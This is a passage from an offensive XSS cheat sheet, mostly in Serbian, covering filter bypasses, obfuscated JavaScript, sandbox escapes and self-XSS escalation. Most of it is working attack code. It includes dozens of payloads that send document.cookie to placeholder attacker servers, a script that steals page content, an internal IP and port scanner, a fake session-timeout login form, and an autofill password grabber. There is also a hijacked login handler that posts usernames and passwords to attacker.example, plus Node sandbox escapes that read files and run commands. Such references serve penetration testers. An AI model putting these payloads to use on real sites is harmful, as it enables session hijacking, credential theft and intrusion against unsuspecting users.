window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Postoji JS code koji koristi nebezbedne podatke koje kontroliše napadač poput location.href. Napadač može zloupotrebiti ovo da izvrši proizvoljni JS kod.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
Tamo ćete naći detaljno objašnjenje šta su DOM vulnerabilities, kako nastaju, i kako ih eksploatisati.
Takođe, ne zaboravite da na kraju pomenutog posta možete naći objašnjenje o DOM Clobbering attacks.
Unapređivanje Self-XSS
Cookie XSS
Ako možete pokrenuti XSS slanjem payload-a unutar cookie-ja, ovo je obično self-XSS. Međutim, ako nađete ranjiv poddomen na XSS, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i tako trigger-ujete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:
You can find a great abuse of this technique in this blog post.
Slanje vaše sesije adminu
Možda korisnik može podeliti svoj profil sa adminom i ako se self XSS nalazi u profilu korisnika i admin mu pristupi, on će trigger-ovati ranjivost.
Session Mirroring
Ako nađete self XSS i web stranica ima session mirroring za administratore, na primer omogućavajući klijentima da traže pomoć, admin koji želi da vam pomogne će videti ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Možete naterati administratora da trigger-uje vaš self XSS i ukrasti njegove cookie-je/sesiju.
Ostali bypassi
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Možete proveriti da li su reflected values unicode normalized na serveru (ili na client strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Zbog RoR mass assignment navodnici se ubacuju u HTML, pa se ograničenje navodnika zaobilazi i dodatna polja (onfocus) mogu dodati unutar taga.
Primer forme (from this report), ako pošaljete payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Par "Key","Value" biće vraćen ovako:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Zatim će atribut onfocus biti umetnut i doći će do XSS-a.
Posebne kombinacije
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS sa header injection u 302 odgovoru
Ako utvrdite da možete inject headers in a 302 Redirect response možete pokušati da make the browser execute arbitrary JavaScript. Ovo nije trivijalno jer moderni browser-i ne interpretiraju telo HTTP response-a ako je HTTP response status code 302, pa sam payload za cross-site scripting neće raditi.
U ovom izveštaju i ovom možete pročitati kako možete testirati nekoliko protokola unutar Location header-a i videti da li koji od njih dozvoljava browseru da ispita i izvrši XSS payload unutar tela.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Samo slova, brojevi i tačke
Ako možete odrediti callback koji će javascript execute ograničen na te znakove. Pročitajte ovaj odeljak da saznate kako zloupotrebiti ovo ponašanje.
Valid <script> Content-Types to XSS
(From ovde) Ako pokušate da učitate script sa content-type kao application/octet-stream, Chrome će prikazati sledeću grešku:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Tipovi skripti za XSS
(From here) Dakle, koji tipovi mogu biti navedeni za učitavanje skripte?
<script type="???"></script>
Odgovor je:
- module (podrazumevano, nema šta da se objašnjava)
- webbundle: Web Bundles je funkcionalnost koja vam omogućava da spakujete skup podataka (HTML, CSS, JS…) u
.wbnfajl.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Omogućava poboljšanje import sintakse
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Ovo ponašanje je iskorišćeno u this writeup da se remapira biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS.
- speculationrules: Ova funkcionalnost je uglavnom uvedena da reši neke probleme izazvane pre-renderingom. Radi na sledeći način:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types to XSS
(From here) Sledeći Content-Types mogu izvršiti XSS u svim browserima:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
U drugim browserima drugi Content-Types mogu se koristiti za izvršavanje proizvoljnog JS-a, pogledajte: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Ako stranica vraća text/xml content-type, moguće je označiti namespace i izvršiti proizvoljni JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Specijalni obrasci zamene
Kada se koristi nešto poput "some {{template}} data".replace("{{template}}", <user_input>). Napadač može da koristi special string replacements da pokuša da zaobiđe neke zaštite: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Na primer, u this writeup, ovo je korišćeno da scape a JSON string inside a script and execute arbitrary code.
Chrome Cache to XSS
XS Jails Escape
Ako imate samo ograničen skup karaktera koje možete koristiti, pogledajte ova druga valjana rešenja za XSJail probleme:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Ako je sve undefined pre izvršavanja nepouzdanog koda (kao u this writeup) moguće je generisati korisne objekte "ni iz čega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
- Korišćenjem import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Pristupanje
requireindirektno
Prema ovom Node.js umotava module unutar funkcije, ovako:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Stoga, ako iz tog modula možemo pozvati drugu funkciju, moguće je iz te funkcije koristiti arguments.callee.caller.arguments[1] da se pristupi require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Na sličan način kao u prethodnom primeru, moguće je use error handlers da pristupite wrapper modula i dobijete require funkciju:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Različite obfuscations na jednoj stranici: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Napredniji JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
Uobičajeni XSS payloads
Više payloads u jednom
Iframe zamka
Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i presretnite njegove radnje (uključujući informacije poslate kroz forme):
Preuzimanje Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
Nećete moći da pristupite cookies iz JavaScript ako je HTTPOnly flag postavljen u cookie. Ali ovde imate some ways to bypass this protection ako imate sreće.
Krađa sadržaja stranice
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Pronalaženje internih IP adresa
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kratka vremena označavaju da port odgovara Duža vremena označavaju da nema odgovora.
Pregledajte listu portova zabranjenih u Chrome here i u Firefox here.
Polje za unos kredencijala
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Hvatanje lozinki iz automatskog popunjavanja
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Kada se bilo koji podatak unese u password polje, username i password se šalju na attackers server — čak i ako klijent izabere saved password i ne unese ništa, credentials će biti ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Ako je kritični handler (npr. function DoLogin(){...}) deklarisan kasnije na stranici, a vaš payload se izvršava ranije (npr. via an inline JS-in-JS sink), definišite const sa istim imenom prvo da preduhitrite i zaključate handler. Kasnije deklaracije funkcija ne mogu ponovo vezati (rebind) const ime, ostavljajući vaš hook pod kontrolom:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Napomene
- Ovo zavisi od reda izvršavanja: vaš injection mora da se izvrši pre legitimne deklaracije.
- Ako je vaš payload obuhvaćen u
eval(...),const/letbindings neće postati globals. Use the dynamic<script>injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding. - Kada keyword filters blokiraju kod, kombinujte sa Unicode-escaped identifiers ili
eval(atob('...'))delivery, kao što je prikazano iznad.
Keylogger
Samo pretragom na github-u našao sam nekoliko različitih:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
